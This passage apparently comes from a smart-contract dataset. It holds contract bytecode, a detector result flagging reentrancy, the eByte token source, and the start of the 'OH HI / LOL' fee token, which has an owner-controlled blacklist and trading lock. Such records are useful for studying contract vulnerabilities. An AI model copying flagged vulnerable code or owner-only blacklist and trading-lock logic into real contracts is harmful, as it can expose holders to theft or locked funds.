38110156102db5781810151838201526020016102c3565b50505050905090810190601f1680156103085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032257600080fd5b5061033a600160a060020a0360043516602435610aeb565b604080519115158252519081900360200190f35b34801561035a57600080fd5b50610363610b55565b60408051918252519081900360200190f35b34801561038157600080fd5b5061038a610b5b565b6040805160ff9092168252519081900360200190f35b3480156103ac57600080fd5b5061033a600160a060020a0360043581169060243516604435610b64565b3480156103d657600080fd5b5061038a610cd2565b3480156103eb57600080fd5b506103f4610cdb565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561041d57600080fd5b50610363600160a060020a0360043516610cf8565b34801561043e57600080fd5b50610447610d13565b60408051600160a060020a039092168252519081900360200190f35b34801561046f57600080fd5b5061028a60ff60043516610d27565b34801561048a57600080fd5b506102a1610db0565b34801561049f57600080fd5b5061028a600160a060020a036004351667ffffffffffffffff60243516610e0b565b3480156104cd57600080fd5b50610363610f0f565b3480156104e257600080fd5b506103f4610f15565b3480156104f757600080fd5b5061033a600160a060020a0360043516602435610f2a565b34801561051b57600080fd5b50610447611106565b61028a611115565b34801561053857600080fd5b5061028a61118b565b34801561054d57600080fd5b50610363600160a060020a036004358116906024351661120f565b34801561057457600080fd5b5061028a600160a060020a036004351661123a565b34801561059557600080fd5b506104476112e3565b600081838115156105ab57fe5b049392505050565b6000828201838110156105c257fe5b8091505b5092915050565b600554600090819081908190819033600160a060020a0390811661010090920416146105f857600080fd5b600954600160a060020a03161580159061061f5750600954600160a060020a038881169116145b151561062a57600080fd5b600954600160a060020a033081163196501631935060ff86166001148061065f57508560ff16600214801561065f5750838510155b8061066d57508560ff166003145b151561067857600080fd5b600954600160a060020a0316925060ff8616600114156108cc576000851180156106a457506000600254115b1561087057849150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106ec57600080fd5b505af1158015610700573d6000803e3d6000fd5b505050506040513d602081101561071657600080fd5b505111156107d95761072f82601463ffffffff61059e16565b9050610741828263ffffffff6112f216565b600854604051919350600160a060020a03169082156108fc029083906000818181858888f1935050505015801561077c573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d7836040518263ffffffff1660e060020a0281526004016000604051808303818588803b1580156107bb57600080fd5b505af11580156107cf573d6000803e3d6000fd5b505050505061086b565b600854604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610813573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085257600080fd5b505af1158015610866573d6000803e3d6000fd5b505050505b6108c7565b82600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108ae57600080fd5b505af11580156108c2573d6000803e3d6000fd5b505050505b6109d8565b8560ff166002141561098e57838511156109435761090160026108f5878763ffffffff6112f216565b9063ffffffff61059e16565b9150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106ec57600080fd5b838514156109895782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085257600080fd5b600080fd5b8560ff16600314156109895782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108ae57600080fd5b6109e0611304565b60006002541115610a0d57600254610a0990600160a060020a033016319063ffffffff61059e16565b6006555b6040805160ff881681529051600160a060020a03808a169230909116917fca877aac494c1a237a54e53d1cf34403a485633cd56280f38c182df72936526f9181900360200190a350505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610ae35780601f10610ab857610100808354040283529160200191610ae3565b820191906000526020600020905b815481529060010190602001808311610ac657829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b60075460ff1681565b6000600160a060020a0383161515610b7b57600080fd5b600160a060020a038416600090815260208190526040902054821115610ba057600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610bd357600080fd5b600160a060020a038416600090815260208190526040902054610bfc908363ffffffff6112f216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c31908363ffffffff6105b316565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610c77908363ffffffff6112f216565b600160a060020a03808616600081815260016020908152604080832033861684528252918290209490945580518681529051928716939192600080516020611448833981519152929181900390910190a35060019392505050565b60055460ff1681565b6007546901000000000000000000900467ffffffffffffffff1681565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031681565b60055433600160a060020a039081166101009092041614610d4757600080fd5b60075460ff82811691161415610d5c57600080fd5b6007805460ff831660ff1990911681179091556040805191825251600160a060020a033016917fb82ce22096c6500c582b45cfbf153014e62fd0cbcccaf9a68dc6bfbd53d875d3919081900360200190a250565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610ae35780601f10610ab857610100808354040283529160200191610ae3565b60055433600160a060020a039081166101009092041614610e2b57600080fd5b30600160a060020a031682600160a060020a031614151515610e4c57600080fd5b67ffffffffffffffff81161580610e705750635a497a008167ffffffffffffffff16115b1515610e7b57600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169182179092556007805468ffffffffffffffff00191661010067ffffffffffffffff86169081029190911760ff1916909155604080519182525191923016917f1892465d280bc871343cfbf3c63bbbc2bee69afc8d669e83d7e94e54d74c8933916020908290030190a35050565b60065481565b600754610100900467ffffffffffffffff1681565b60008030600160a060020a031684600160a060020a0316141515610f5957610f528484611335565b91506105c6565b600160a060020a0333166000908152602081905260409020548311801590610f84575060075460ff16155b1515610f8f57600080fd5b600754635a497a0061010090910467ffffffffffffffff161115610fcb576007544261010090910467ffffffffffffffff1611610fcb57600080fd5b600160a060020a033316600090815260208190526040902054610ff4908463ffffffff6112f216565b600160a060020a033316600090815260208190526040902055600254611020908463ffffffff6112f216565b600255600654611036908463ffffffff61141c16565b604051909150600160a060020a0333169082156108fc029083906000818181858888f1935050505015801561106f573d6000803e3d6000fd5b5083600160a060020a031633600160a060020a0316600080516020611448833981519152856040518082815260200191505060405180910390a333600160a060020a031684600160a060020a03167fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff8584604051808381526020018281526020019250505060405180910390a35060019392505050565b600854600160a060020a031681565b600954600160a060020a03161580159061113d575060095433600160a060020a039081169116145b151561114857600080fd5b60003411801561115a57506000600254115b156111815760025461117d90600160a060020a033016319063ffffffff61059e16565b6006555b611189611304565b565b60055433600160a060020a0390811661010090920416146111ab57600080fd5b6007546901000000000000000000900467ffffffffffffffff164210156111d157600080fd5b600854604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015801561120c573d6000803e3d6000fd5b50565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60055433600160a060020a03908116610100909204161461125a57600080fd5b600160a060020a038116151561126f57600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600954600160a060020a031681565b6000828211156112fe57fe5b50900390565b6009805473ffffffffffffffffffffffffffffffffffffffff191690556007805468ffffffffffffffffff19169055565b6000600160a060020a038316151561134c57600080fd5b600160a060020a03331660009081526020819052604090205482111561137157600080fd5b600160a060020a03331660009081526020819052604090205461139a908363ffffffff6112f216565b600160a060020a0333811660009081526020819052604080822093909355908516815220546113cf908363ffffffff6105b316565b600160a060020a038085166000818152602081815260409182902094909455805186815290519193339093169260008051602061144883398151915292918290030190a350600192915050565b60008083151561142f57600091506105c6565b5082820282848281151561143f57fe5b04146105c257fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058204536b300349623e20207fc90ddd8008b572debaf4231bc71d0e91a8fc5be5d110029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,320 |
0xf89bea48b85ac8d70f42087524a5f61f4e9ab0cd
|
// Unattributed material copyright New Alchemy Limited, 2017. All rights reserved.
pragma solidity >=0.4.10;
// from Zeppelin
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
}
// end from Zeppelin
contract Owned {
address public owner;
address newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract Pausable is Owned {
bool public paused;
function pause() onlyOwner {
paused = true;
}
function unpause() onlyOwner {
paused = false;
}
modifier notPaused() {
require(!paused);
_;
}
}
contract Finalizable is Owned {
bool public finalized;
function finalize() onlyOwner {
finalized = true;
}
modifier notFinalized() {
require(!finalized);
_;
}
}
contract IToken {
function transfer(address _to, uint _value) returns (bool);
function balanceOf(address owner) returns(uint);
}
contract TokenReceivable is Owned {
function claimTokens(address _token, address _to) onlyOwner returns (bool) {
IToken token = IToken(_token);
return token.transfer(_to, token.balanceOf(this));
}
}
contract EventDefinitions {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable {
// Set these appropriately before you deploy
string constant public name = "eByte Token";
uint8 constant public decimals = 8;
string constant public symbol = "EBYTE";
Controller public controller;
string public motd;
event Motd(string message);
// functions below this line are onlyOwner
// set "message of the day"
function setMotd(string _m) onlyOwner {
motd = _m;
Motd(_m);
}
function setController(address _c) onlyOwner notFinalized {
controller = Controller(_c);
}
// functions below this line are public
function balanceOf(address a) constant returns (uint) {
return controller.balanceOf(a);
}
function totalSupply() constant returns (uint) {
return controller.totalSupply();
}
function allowance(address _owner, address _spender) constant returns (uint) {
return controller.allowance(_owner, _spender);
}
function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.transfer(msg.sender, _to, _value)) {
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) {
if (controller.transferFrom(msg.sender, _from, _to, _value)) {
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
// promote safe user behavior
if (controller.approve(msg.sender, _spender, _value)) {
Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.increaseApproval(msg.sender, _spender, _addedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
function burn(uint _amount) notPaused {
controller.burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
}
// functions below this line are onlyController
modifier onlyController() {
assert(msg.sender == address(controller));
_;
}
function controllerTransfer(address _from, address _to, uint _value) onlyController {
Transfer(_from, _to, _value);
}
function controllerApprove(address _owner, address _spender, uint _value) onlyController {
Approval(_owner, _spender, _value);
}
}
contract Controller is Owned, Finalizable {
Ledger public ledger;
Token public token;
function Controller() {
}
// functions below this line are onlyOwner
function setToken(address _token) onlyOwner {
token = Token(_token);
}
function setLedger(address _ledger) onlyOwner {
ledger = Ledger(_ledger);
}
modifier onlyToken() {
require(msg.sender == address(token));
_;
}
modifier onlyLedger() {
require(msg.sender == address(ledger));
_;
}
// public functions
function totalSupply() constant returns (uint) {
return ledger.totalSupply();
}
function balanceOf(address _a) constant returns (uint) {
return ledger.balanceOf(_a);
}
function allowance(address _owner, address _spender) constant returns (uint) {
return ledger.allowance(_owner, _spender);
}
// functions below this line are onlyLedger
function ledgerTransfer(address from, address to, uint val) onlyLedger {
token.controllerTransfer(from, to, val);
}
// functions below this line are onlyToken
function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transfer(_from, _to, _value);
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transferFrom(_spender, _from, _to, _value);
}
function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) {
return ledger.approve(_owner, _spender, _value);
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) {
return ledger.increaseApproval(_owner, _spender, _addedValue);
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) {
return ledger.decreaseApproval(_owner, _spender, _subtractedValue);
}
function burn(address _owner, uint _amount) onlyToken {
ledger.burn(_owner, _amount);
}
}
contract Ledger is Owned, SafeMath, Finalizable, TokenReceivable {
Controller public controller;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint public totalSupply;
uint public mintingNonce;
bool public mintingStopped;
// functions below this line are onlyOwner
function Ledger() {
}
function setController(address _controller) onlyOwner notFinalized {
controller = Controller(_controller);
}
function stopMinting() onlyOwner {
mintingStopped = true;
}
function multiMint(uint nonce, uint256[] bits) external onlyOwner {
require(!mintingStopped);
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint created = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
balanceOf[a] = balanceOf[a] + value;
controller.ledgerTransfer(0, a, value);
created += value;
}
totalSupply += created;
}
// functions below this line are onlyController
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
function transfer(address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
return true;
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
var allowed = allowance[_from][_spender];
if (allowed < _value) return false;
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
allowance[_from][_spender] = safeSub(allowed, _value);
return true;
}
function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) {
// require user to set to zero before resetting to nonzero
if ((_value != 0) && (allowance[_owner][_spender] != 0)) {
return false;
}
allowance[_owner][_spender] = _value;
return true;
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
allowance[_owner][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
if (_subtractedValue > oldValue) {
allowance[_owner][_spender] = 0;
} else {
allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue);
}
return true;
}
function burn(address _owner, uint _amount) onlyController {
balanceOf[_owner] = safeSub(balanceOf[_owner], _amount);
totalSupply = safeSub(totalSupply, _amount);
}
}
|
0x6060604052600436106100ed5763ffffffff60e060020a600035041663144fa6d781146100f257806315dacbea1461011357806318160ddd146101555780633246887d1461017a5780634bb278f31461019957806356397c35146101ac57806370a08231146101db57806379ba5097146101fa5780638da5cb5b1461020d5780639dc29fac14610220578063a6f9dae114610242578063b3f05b9714610261578063bcdd612114610274578063beabacc81461029c578063dd62ed3e146102c4578063e1f21c67146102e9578063f019c26714610311578063f5c86d2a14610339578063fc0c546a14610361575b600080fd5b34156100fd57600080fd5b610111600160a060020a0360043516610374565b005b341561011e57600080fd5b610141600160a060020a03600435811690602435811690604435166064356103be565b604051901515815260200160405180910390f35b341561016057600080fd5b610168610465565b60405190815260200160405180910390f35b341561018557600080fd5b610111600160a060020a03600435166104c2565b34156101a457600080fd5b61011161050c565b34156101b757600080fd5b6101bf61055e565b604051600160a060020a03909116815260200160405180910390f35b34156101e657600080fd5b610168600160a060020a036004351661056d565b341561020557600080fd5b6101116105dc565b341561021857600080fd5b6101bf610625565b341561022b57600080fd5b610111600160a060020a0360043516602435610634565b341561024d57600080fd5b610111600160a060020a03600435166106b9565b341561026c57600080fd5b610141610703565b341561027f57600080fd5b610141600160a060020a0360043581169060243516604435610724565b34156102a757600080fd5b610141600160a060020a03600435811690602435166044356107c3565b34156102cf57600080fd5b610168600160a060020a0360043581169060243516610844565b34156102f457600080fd5b610141600160a060020a03600435811690602435166044356108bc565b341561031c57600080fd5b610141600160a060020a036004358116906024351660443561093d565b341561034457600080fd5b610111600160a060020a03600435811690602435166044356109be565b341561036c57600080fd5b6101bf610a51565b60005433600160a060020a0390811691161461038f57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60035460009033600160a060020a039081169116146103dc57600080fd5b600254600160a060020a03166315dacbea8686868660405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401602060405180830381600087803b151561044657600080fd5b5af1151561045357600080fd5b50505060405180519695505050505050565b600254600090600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156104a757600080fd5b5af115156104b457600080fd5b505050604051805191505090565b60005433600160a060020a039081169116146104dd57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461052757600080fd5b6001805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600254600160a060020a031681565b600254600090600160a060020a03166370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156105c057600080fd5b5af115156105cd57600080fd5b50505060405180519392505050565b60015433600160a060020a0390811691161415610623576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b600054600160a060020a031681565b60035433600160a060020a0390811691161461064f57600080fd5b600254600160a060020a0316639dc29fac838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156106a557600080fd5b5af115156106b257600080fd5b5050505050565b60005433600160a060020a039081169116146106d457600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015474010000000000000000000000000000000000000000900460ff1681565b60035460009033600160a060020a0390811691161461074257600080fd5b600254600160a060020a031663bcdd612185858560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107a557600080fd5b5af115156107b257600080fd5b505050604051805195945050505050565b60035460009033600160a060020a039081169116146107e157600080fd5b600254600160a060020a031663beabacc885858560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107a557600080fd5b600254600090600160a060020a031663dd62ed3e848460405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561089f57600080fd5b5af115156108ac57600080fd5b5050506040518051949350505050565b60035460009033600160a060020a039081169116146108da57600080fd5b600254600160a060020a031663e1f21c6785858560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107a557600080fd5b60035460009033600160a060020a0390811691161461095b57600080fd5b600254600160a060020a031663f019c26785858560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107a557600080fd5b60025433600160a060020a039081169116146109d957600080fd5b600354600160a060020a0316639b50438784848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610a3c57600080fd5b5af11515610a4957600080fd5b505050505050565b600354600160a060020a0316815600a165627a7a723058201e40e5ac3d41bc48745674257f163d23a617a946a350f0e985973009690685db0029
|
{"success": true, "error": null, "results": {}}
| 3,321 |
0x8010b7F17bB90e831ecc10f47905BC986054dB77
|
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: Unlicensed
// t.me/OhHiLOLportal
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LOL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "OH HI";
string private constant _symbol = "LOL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
